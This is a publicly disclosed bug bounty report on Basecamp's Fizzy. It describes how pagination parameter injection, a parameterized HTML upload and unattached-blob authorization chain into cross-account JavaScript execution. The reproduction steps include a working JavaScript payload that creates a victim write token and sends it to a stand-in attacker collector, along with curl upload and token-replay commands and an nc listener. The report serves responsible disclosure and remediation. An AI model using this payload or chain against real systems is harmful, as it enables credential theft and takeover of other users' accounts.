HexBrain

Basecamp · Report #3943339

One-click cross-account JavaScript execution steals a victim write token through Turbo pagination and unattached Active Storage HTML

Validstatus
highseverity
49upvotes
2 Oct 2026disclosed

How it was found

An attacker with a Fizzy account can execute arbitrary same-origin JavaScript when a signed-in victim opens one crafted public-board URL. The attacker and victim do not need to share a Fizzy account.

The JavaScript creates a write access token on the victim's global Fizzy Identity and sends the raw token to an attacker-controlled origin. The stolen token reveals the victim's Fizzy account memberships and permits authenticated read, write, and delete API requests in the victim's accounts.

Suggested severity: High — CVSS 3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N (8.7).

This was reproduced end to end against Fizzy commit b12e4c52d8eafee19b0167dc5831138f1cfb7103 on 2026-08-16, using two unrelated researcher-owned accounts. Fizzy's source code was not modified.

Root-cause chain

  1. Untrusted request parameters control the pagination URL.

    app/helpers/pagination_helper.rb:13-24 passes every request parameter to Rails url_for:

    def pagination_link(namespace, page_number, ...)
      link_to label, url_for(params.permit!.to_h.merge(page: page_number, **url_params)), ...
    end
    

    script_name is a reserved Rails URL-generation option. An attacker can use it to replace the beginning of Fizzy's generated page-2 URL with an Active Storage blob-proxy path. A trailing encoded # turns the intended public-board route into a client-side fragment, so the browser requests the blob instead of page 2.

    The public-column stream template invokes automatic pagination at app/views/public/boards/columns/streams/show.html.erb:13-19. app/javascript/controllers/pagination_controller.js:90-105 then creates a Turbo Frame whose src is the poisoned pagination URL.

    The outer attack URL ends in #stream_column-pagination-link-2, which scrolls the pagination link into view and causes Fizzy's existing intersection observer to load it automatically. No second click is required.

  2. Parameterized HTML bypasses Active Storage's exact-string dangerous-content check on the S3 path.

    Fizzy's normal direct-upload endpoint accepts an attacker-supplied content_type. Active Storage determines whether a blob must be served as binary using an exact-string lookup:

    def forcibly_serve_as_binary?
      ActiveStorage.content_types_to_serve_as_binary.include?(content_type)
    end
    

    The default binary list contains text/html, but not text/html;charset=utf-8. The tested proxy response was consequently returned as:

    HTTP/1.1 200 OK
    Content-Disposition: attachment; filename="video-exfil.html"
    Content-Type: text/html;charset=utf-8
    

    Turbo treats the response as HTML. Content-Disposition: attachment does not prevent a Turbo Frame fetch response from being parsed and rendered.

  3. Fizzy authorizes an unattached attacker blob to an unrelated authenticated identity.

    lib/rails_ext/active_storage_authorization.rb:1-4 authorizes every blob with no attachments:

    def accessible_to?(user)
      attachments.includes(:record).any? { |attachment| attachment.accessible_to?(user) } || attachments.none?
    end
    

    The proxy controllers enforce this rule at lib/rails_ext/active_storage_authorization.rb:28-45. The attacker deliberately leaves the HTML blob unattached. When a victim from another account opens the public board, the victim's global Current.identity satisfies authentication and attachments.none? authorizes the blob, even though the victim is not a member of the attacker's account.

  4. Turbo activates the script and supplies Fizzy's CSP nonce.

    The blob contains the Turbo Frame expected by the pagination controller and an inline script:

    <turbo-frame id="stream_column-pagination-contents-2"><script>ATTACKER_JAVASCRIPT</script></turbo-frame>
    

    Fizzy uses turbo-rails 2.0.23. Turbo's FrameRenderer activates script elements after inserting a Frame response. Its activateScriptElement implementation creates a live script and copies the current document's CSP nonce onto it. Fizzy exposes its current nonce through csp_meta_tag (config/initializers/content_security_policy.rb:47-54 and app/views/layouts/shared/_head.html.erb:11-12). The attacker does not need to know or guess the nonce.

  5. The same-origin script creates and exfiltrates a victim write token.

    My::AccessTokensController skips account selection, stores access tokens on Current.identity, and returns the raw token in its JSON response (app/controllers/my/access_tokens_controller.rb:4,20-33,47-49). The public page contains csrf_meta_tags, so the script can submit a valid victim CSRF token.

    app/models/identity/access_token.rb:7-9 permits every HTTP method for a write token:

    def allows?(method)
      method.in?(%w[ GET HEAD ]) || write?
    end
    

Scope and backend applicability

  • The attacker and victim are in different Fizzy accounts.
  • Only the attacker uploads content. The victim only opens one URL and does not import a file, paste input, or upload the payload.
  • This is not an unrestricted-file-upload report: the demonstrated impact is cross-account same-origin JavaScript execution followed by theft and use of a victim credential.
  • The demonstrated parameterized-MIME variant applies to Fizzy SaaS's S3 Active Storage path. A separate Disk-service test rejected the same parameterized upload because that path canonicalized the request MIME type before comparison.
  • saas/config/environments/production.rb:2 selects purestorage, and saas/config/storage.yml:23-33 defines purestorage as an S3 service. The local E2E proof used the same Active Storage S3 adapter with an isolated MinIO S3-compatible endpoint.

Suggested remediation

  1. Replace params.permit! in pagination URL generation with an explicit allowlist. Do not forward URL-generation control parameters from request parameters, including Rails reserved options such as script_name, host, protocol, port, and only_path, or route-selection keys such as controller and action.
  2. Do not authorize a blob merely because attachments.none?. Bind each direct upload to its creating identity/account and authorize an unattached blob only to that principal.
  3. Normalize supplied MIME types to their media type before comparing them with content_types_to_serve_as_binary and content_types_allowed_inline. Force HTML, XML, SVG, and unattached blobs to application/octet-stream at the proxy boundary.
  4. Serve user-controlled uploads from a separate cookieless origin that cannot access Fizzy sessions and is absent from script-src.
  5. Add an integration test for parameterized HTML uploaded through the S3 direct-upload path and returned through an automatic Turbo pagination Frame.

Steps To Reproduce:

The following uses two unrelated, researcher-owned accounts and an isolated local deployment. Replace all uppercase placeholders with values from the test environment.

  1. Run Fizzy at commit b12e4c52d8eafee19b0167dc5831138f1cfb7103 in its SaaS production configuration with the S3 Active Storage service enabled. Create:

    • attacker account /1;
    • unrelated victim account /2;
    • an attacker-owned public board with at least 16 cards, so page 2 exists on its public columns/stream route; and
    • a victim-owned board to use for the harmless write/delete proof.

    Keep the victim signed in to Fizzy in a separate Chrome profile.

  2. Use the following exact HTML body. It is 555 bytes without a trailing newline, and its base64-encoded MD5 checksum is yCDDFKjBAvUTEpu7JW/MYQ==:

    <turbo-frame id="stream_column-pagination-contents-2"><script>void async function(){const csrf=document.querySelector("meta[name=csrf-token]").content;const response=await fetch("/my/access_tokens.json",{method:"POST",credentials:"same-origin",headers:{"Content-Type":"application/json","X-CSRF-Token":csrf},body:JSON.stringify({access_token:{description:"fizzy-video-exfil",permission:"write"}})});const {token}=await response.json();location.href="http://attacker.fizzy.localhost:45000/collect?token="+encodeURIComponent(token)}()</script></turbo-frame>
    
  3. While authenticated as the attacker, create an unattached blob through Fizzy's normal direct-upload API:

    curl -i -b attacker.cookies \
      -H 'Content-Type: application/json' \
      -H 'X-CSRF-Token: ATTACKER_CSRF' \
      --data-binary '{"blob":{"filename":"video-exfil.html","content_type":"text/html;charset=utf-8","byte_size":555,"checksum":"yCDDFKjBAvUTEpu7JW/MYQ=="}}' \
      'http://app.fizzy.localhost:43080/1/rails/active_storage/direct_uploads'
    

    Record the returned signed_id, direct_upload.url, and direct_upload.headers. Do not attach this blob to any record.

  4. PUT the exact 555-byte body from step 2 to the returned storage URL, using the returned upload headers:

    curl -i -X PUT \
      -H 'Content-Length: 555' \
      -H 'Content-MD5: yCDDFKjBAvUTEpu7JW/MYQ==' \
      -H 'Content-Type: text/html;charset=utf-8' \
      -H 'Content-Disposition: inline; filename="video-exfil.html"' \
      --data-binary '<turbo-frame id="stream_column-pagination-contents-2"><script>void async function(){const csrf=document.querySelector("meta[name=csrf-token]").content;const response=await fetch("/my/access_tokens.json",{method:"POST",credentials:"same-origin",headers:{"Content-Type":"application/json","X-CSRF-Token":csrf},body:JSON.stringify({access_token:{description:"fizzy-video-exfil",permission:"write"}})});const {token}=await response.json();location.href="http://attacker.fizzy.localhost:45000/collect?token="+encodeURIComponent(token)}()</script></turbo-frame>' \
      'DIRECT_UPLOAD_URL_RETURNED_BY_FIZZY'
    
  5. Start an HTTP listener representing the attacker-controlled collector:

    nc -l 45000
    

    attacker.fizzy.localhost:45000 is a separate origin from Fizzy and is independent of attacker account /1. In a real attack this can be any attacker-controlled HTTPS endpoint.

  6. In the signed-in victim Chrome profile, open the following attacker-board URL once:

    http://app.fizzy.localhost:43080/1/public/boards/ATTACKER_PUBLIC_KEY/columns/stream?script_name=%2F1%2Frails%2Factive_storage%2Fblobs%2Fproxy%2FHTML_SIGNED_ID%2Fvideo-exfil.html%23#stream_column-pagination-link-2
    

    Wait two to five seconds without clicking anything else.

  7. Observe that the independent attacker collector receives the victim's raw access token:

    GET /collect?token=VICTIM_WRITE_TOKEN HTTP/1.1
    Host: attacker.fizzy.localhost:45000
    Referer: http://app.fizzy.localhost:43080/
    
  8. Copy the exact token received by the collector and use it outside the victim browser:

    curl -i \
      -H 'Authorization: Bearer VICTIM_WRITE_TOKEN' \
      'http://app.fizzy.localhost:43080/my/identity.json'
    

    The response is 200 OK and identifies the unrelated victim and victim account /2.

  9. Demonstrate write access using only researcher-owned test data:

    curl -i \
      -H 'Authorization: Bearer VICTIM_WRITE_TOKEN' \
      -H 'Content-Type: application/json' \
      --data-binary '{"card":{"title":"Video E2E proof"}}' \
      'http://app.fizzy.localhost:43080/2/boards/VICTIM_BOARD_ID/cards.json'
    

    The response is 201 Created. Record the returned card number.

  10. Confirm delete access and remove the test card:

    curl -i -X DELETE \
      -H 'Authorization: Bearer VICTIM_WRITE_TOKEN' \
      'http://app.fizzy.localhost:43080/2/cards/CREATED_CARD_NUMBER.json'
    

    The response is 204 No Content.

Observed end-to-end evidence

The recorded PoC demonstrated the complete chain with two unrelated researcher-owned accounts:

  • victim identity Victim HackerOne belonged to account /2;
  • the victim opened the crafted public-board URL belonging to attacker account /1;
  • an independent attacker-controlled collector received the raw victim write token;
  • that exact token returned 200 OK from /my/identity.json and disclosed the victim's account membership;
  • the token created card #15 in the victim's board with 201 Created; and
  • the same token deleted card #15 with 204 No Content.

The collector received:

GET /collect?token=qEZD...2xSQ HTTP/1.1
Host: attacker.fizzy.localhost:45000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://app.fizzy.localhost:43080/

Using that same collector-received token returned the victim Identity:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
X-Request-Id: 6879c2e0-76d6-41e0-ab87-29725cffc8c2
Date: Sun, 16 Aug 2026 02:58:53 GMT

{"id":"03goro3mqj1abrb7ql9x31yhj","accounts":[{"id":"03goro7h4q1x6k1rmnfu53p0r","name":"Victim's Fizzy","slug":"/2","user":{"id":"03goro7h6zxop2k3q4zdbuebu","name":"Victim HackerOne","role":"owner","email_address":"[email protected]"}}]}

The token then created a card in the victim's board:

HTTP/1.1 201 Created
Location: /2/cards/15.json
X-Request-Id: 241ea66d-2c40-4a5a-aaa4-8d138e757643
Date: Sun, 16 Aug 2026 02:59:05 GMT

{"id":"03goukp3m3k7gj2l9qyppm9v8","number":15,"title":"Video E2E proof","status":"published","board":{"id":"03goro7h7ls8flhg0x7czuso5","name":"Playground"},"creator":{"id":"03goro7h6zxop2k3q4zdbuebu","name":"Victim HackerOne"}}

Finally, the same token deleted that card:

HTTP/1.1 204 No Content
X-Request-Id: 74e28ffe-1ee7-476c-9cad-ef5345ce4e05
Date: Sun, 16 Aug 2026 02:59:23 GMT

Impact

A low-privileged attacker with their own Fizzy account can compromise an unrelated signed-in victim's Fizzy Identity by convincing the victim to open one attacker-owned public-board URL. No shared account is required. The attacker gains arbitrary JavaScript execution in Fizzy's origin and uses it to create an Identity-scoped write bearer token, exfiltrate that token to attacker-controlled infrastructure, and replay it without access to the victim's browser or session cookie.

The stolen token is attached to the victim's global Identity, not to the attacker's account or public board. It discloses the victim's account memberships and authorizes API requests with the victim's existing access in those accounts. This allows the attacker to read confidential Fizzy data and create, modify, or delete data as the victim. The E2E proof specifically demonstrated disclosure of the victim's Identity and account membership, followed by creation and deletion of a card in an unrelated victim-owned account.

The token remains usable independently of the browser session until it is revoked. The resulting security impact is therefore cross-account compromise of confidentiality and integrity with the victim's privileges (C:H/I:H); no availability impact is claimed.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original